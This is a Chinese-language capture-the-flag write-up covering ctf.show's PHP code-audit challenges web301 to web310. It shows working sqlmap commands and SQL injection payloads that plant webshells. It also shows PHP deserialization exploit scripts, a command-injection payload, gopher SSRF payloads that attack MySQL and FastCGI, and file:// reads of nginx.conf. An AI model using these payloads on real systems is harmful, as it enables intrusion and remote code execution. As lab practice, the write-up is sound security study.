web301-web310代码审计

2023/09/17 17:37:11

web301-302

上来就是登录页面,看了代码发现没有过滤,尝试使用sqlmap直接开注入。

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

image.png

sqlmap -u http://e870d81c-dd88-4dc4-b990-760221d286bb.challenge.ctf.show/checklogin.php --data 'userid=1&userpwd=1' -D sds -C sds_password --dump --batch

image.png
看看密码,sqlmap这个必须盲注,只盲了密码,猜账号为admin。
登陆成功。
image.png
但是登录进入之后没啥用,似乎得写入shell。
之前还真没怎么用过sql写文件,这里记一下:

userid=1'+union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"--+&userpwd=1

然后直接rce即可。

web303

这回写不进去了,返回了一串字符。继续读代码。
账号估计还是admin,但是sqlmap进不去了,那就尝试爆破一下,真进去了还,密码就是admin。(在sql文件中有登录密码的md5的值,可以去找破解)
dptadd.php中有更新语句。

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

在dpt_name里面插入语句。
post:

dpt_name=1',sds_address =(select 1)#

image.png
依次查询即可。

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#

sds_dpt,sds_fl9g,sds_user

dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#

flag

dpt_name=1',sds_address =(select flag from sds_fl9g)#

web304

有了waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是似乎上面的payload也是可以的。

dpt_name=1', sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
dpt_name=1', sds_address=(select group_concat(column_name) from information_schema.columns where table_name="sds_flaag")--+

web305

密码还是相同的,先看一眼waf:

function sds_waf($str){
  if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
    return false;
  }else{
    return true;
  }
}

注入感觉不太行,换个思路。
class.php里面似乎有反序列化漏洞。

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

再找他的注入点:
image.png
在checklogin.php里面,那我们直接写一个shell进去。这里需要url编码。

$a = new user('1.php','<?php eval($_GET[1]);?>');
echo urlencode(serialize($a));

加入到cookie里面。

user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3B%7D

写了shell之后发现里面没有flag文件,那估计就是在数据库中。
用蚁剑连接数据库,密码是root,弱口令。
image.png

web306

php反序列化

还是反序列化

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

image.png
查询之后发现有一个调用close方法的位置。

class dao{
	private $config;
	private $conn;

	public function __destruct(){
		$this->conn->close();
	}

index里面包含了需要的文件。
image.png
写一下exp:
注意这以下都是错的!!!!

<?php

class dao
{
    private $config;
    // 注意private 先改后修吧
    public $conn;

    public function __destruct()
    {
        $this->conn->close();
    }
}

class log{
    public $title='log.txt';
    public $info='';
    public function loginfo($info){
        $this->info=$this->info.$info;
    }
    public function close(){
        file_put_contents($this->title, $this->info);
    }

}
$b = new log();
$b->title = '1.php';
$b->info = '<?php eval($_POST[1]);?>';
$a = new dao();
$a->conn = $b;
echo urlencode(serialize($a));

得到:

O%3A3%3A%22dao%22%3A2%3A%7Bs%3A11%3A%22%00dao%00config%22%3BN%3Bs%3A4%3A%22conn%22%3BO%3A3%3A%22log%22%3A2%3A%7Bs%3A5%3A%22title%22%3Bs%3A5%3A%221.php%22%3Bs%3A4%3A%22info%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D%7D
修改public为private,并且修改字符个数
O%3A3%3A%22dao%22%3A2%3A%7Bs%3A11%3A%22%00dao%00config%22%3BN%3Bs%3A9%3A%22%00dao%00conn%22%3BO%3A3%3A%22log%22%3A2%3A%7Bs%3A5%3A%22title%22%3Bs%3A5%3A%221.php%22%3Bs%3A4%3A%22info%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D%7D
再套一层base64

这以上都是错的
妈的 那个base64之前不需要url转义,而且有更好的写法,利用construct构造方法解决:
新的exp:

<?php
class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}
class log{
	public $title='a.php';
	public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

擦,卡在了密码这半小时,密码是admin1,仔细读了一下代码,发现多层md5加密,而且有salt,因此应该是弱口令爆破出来。研究了半天hashcat。

web307

直接上cnseay,一键审计。
image.png
image.png
第二个直接用分号隔断进行命令执行即可。
构造一下内容,写个马。

<?php
class config{
    public $cache_dir = ';echo "<?php system($_POST[1]); ?>" > 1.php;';
}

class dao{
    private $config;
    public function __construct()
    {
        $this->config = new config();
    }
}

echo base64_encode(serialize(new dao()));
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDQ6IjtlY2hvICI8P3BocCBzeXN0ZW0oJF9QT1NUWzFdKTsgPz4iID4gMS5waHA7Ijt9fQ

我们这里激活点用的是:logout下的,因此注意生成马的相对路径前也有个controller
image.png
测了,校园网传不上去payload。直接写入读一下吧。

web308

SSRF打mysql

https://blog.csdn.net/qq_42880719/article/details/122510390

我合计还用原来的写法,前后拼接一下,应该还能用,但是wp用了ssrf。正好没接触过,学一下。

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

通过gopherus生成payload来打mysql
利用点在:

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}
Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

image.png
poc:

<?php

class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}

class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

echo base64_encode(serialize(new dao()));
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjA6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319

image.png
爆破进去。
然后再index.php页面cookie中传入service中传入需要的payload即可。
然后访问1.php传参获取flag即可。

web309

SSRF打fastcgi

这根本不会,直接超wp

在静态网站中,WEB 容器如 Apache、Nginx 相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器;当 Apache 收到用户对 index.php 的请求后,如果使用的是 CGI,会启动对应的 CGI 程序,对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件,初始化执行环境,然后处理请求,再以规定 CGI 规定的格式返回处理后的结果,退出进程,Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程
这里说的是使用 CGI,而 FastCGI 就相当于高性能的 CGI,与 CGI 不同的是它像一个常驻的 CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能

探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
通过http或其他协议去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟

php-fpm

在静态网站中,WEB 容器如 Apache、Nginx 相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器;当 Apache 收到用户对 index.php 的请求后,如果使用的是 CGI,会启动对应的 CGI 程序,对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件,初始化执行环境,然后处理请求,再以规定 CGI 规定的格式返回处理后的结果,退出进程,Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程

这里说的是使用 CGI,而 FastCGI 就相当于高性能的 CGI,与 CGI 不同的是它像一个常驻的 CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能

假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行
还是gopherus这个工具

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  index.php
Terminal command to run:  cat /var/www/html/f* > flag.txt

image.png

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH83%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00S%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%20%3E%20flag.txt%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

image.png

web310

SSRF读文件

admin-admin1
伪协议读nginx.conf:

<?php
class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}	
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));

# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=

image.png每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务

server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
<?php
class config{
	public $update_url = 'http://127.0.0.1:4476';
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}

echo base64_encode(serialize(new dao()));

# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMToiaHR0cDovLzEyNy4wLjAuMTo0NDc2Ijt9fQ==

image.png